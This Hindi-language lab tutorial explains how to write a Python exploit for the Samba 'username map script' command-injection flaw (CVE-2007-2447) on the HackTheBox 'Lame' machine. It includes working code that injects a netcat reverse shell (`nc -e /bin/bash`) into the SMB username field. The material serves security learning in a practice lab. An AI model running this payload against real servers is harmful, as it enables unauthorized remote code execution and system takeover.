
CVE-2007-2447 Samba 3.0.20-3.0.25rc username map script कमांड निष्पादन दोष के लिए शैक्षिक शोषण कार्यान्वयन, Python SMB क्लाइंट पेलोड और netcat रिवर्स शेल के साथ।
मूल एक्सप्लॉइट: https://www.exploit-db.com/exploits/16320
एक्सप्लॉइट का नाम: Samba username map script RCE
CVE: 2007-2447
लैब: Lame - HackTheBox
Samba के 3.0.25 से नीचे के संस्करणों में एक कमजोरी है जो एक हमलावर को SMB सर्वर पर उपयोगकर्ता नाम के रूप में एक दोषपूर्ण अनुरोध भेजकर सिस्टम कमांड निष्पादित करने की अनुमति देती है।
यहाँ nohup कमांड का उपयोग करके एक निर्देशिका बनाने का एक उदाहरण है:

प्रोग्रामेटिक रूप से बोलें तो /= का अर्थ है भाग और असाइनमेंट ऑपरेटर जो आमतौर पर लूप्स में उपयोग किया जाता है। लेकिन हमें यहाँ इसका उपयोग करने की आवश्यकता क्यों है?
इसका उपयोग करने का कारण अनुरोध भेजते समय डोमेन फ़ील्ड और उपयोगकर्ता नाम फ़ील्ड को विभाजित करना है, एक बेहतर स्पष्टीकरण यहाँ पाया जा सकता है।
हम उपयोगकर्ता नाम फ़ील्ड का उपयोग एक netcat कनेक्शन खोलने और अपने सर्वर से कनेक्ट करने के लिए करते हैं।
एक्सप्लॉइट लिखना बहुत आसान है क्योंकि पायथन के लिए पहले से ही एक SMB क्लाइंट लाइब्रेरी उपलब्ध है (python3-samba पैकेज इंस्टॉल करें) इसलिए आपको बस इसे इस तरह उपयोग करना है:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
आइए समझते हैं कि SMBConnection कैसे काम करता है, मैंने username प्रदान किया लेकिन अन्य 3 खाली स्ट्रिंग्स क्या हैं?
वे 3 अन्य आर्गुमेंट्स हैं: password, my_name & remote_name
हमारे एक्सप्लॉइट को पढ़ने में आसान बनाने के उद्देश्य से, हम उन्हें उनके मानों के साथ स्पष्ट रूप से लिख सकते हैं लेकिन username के बाद के आर्गुमेंट्स के मान आवश्यक नहीं हैं:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
निम्नलिखित भाग समझने में आसान है, हम कनेक्शन बनाने के लिए SMBConnection क्लास का एक इंस्टेंस उपयोग करते हैं और हम लक्ष्य का IP, पोर्ट और सेकंड में एक टाइमआउट संख्या प्रदान करते हैं:
conn.connect(rhost, rport, timeout=10)
इस एक्सप्लॉइट डेवलपमेंट सत्र में आपने SMB क्लाइंट बनाने और SMB सर्वर से कनेक्ट करने के बारे में सीखा। आपने nohup जैसे Linux कमांड के बारे में भी सीखा जिसके साथ आप बाद में प्रयोग कर सकते हैं। आपने netcat का उपयोग करके पीड़ित मशीन से अपने हमलावर मशीन से कनेक्ट करने के बारे में सीखा जो आपकी एक्सप्लॉइट डेवलपमेंट यात्रा में उपयोगी हो सकता है।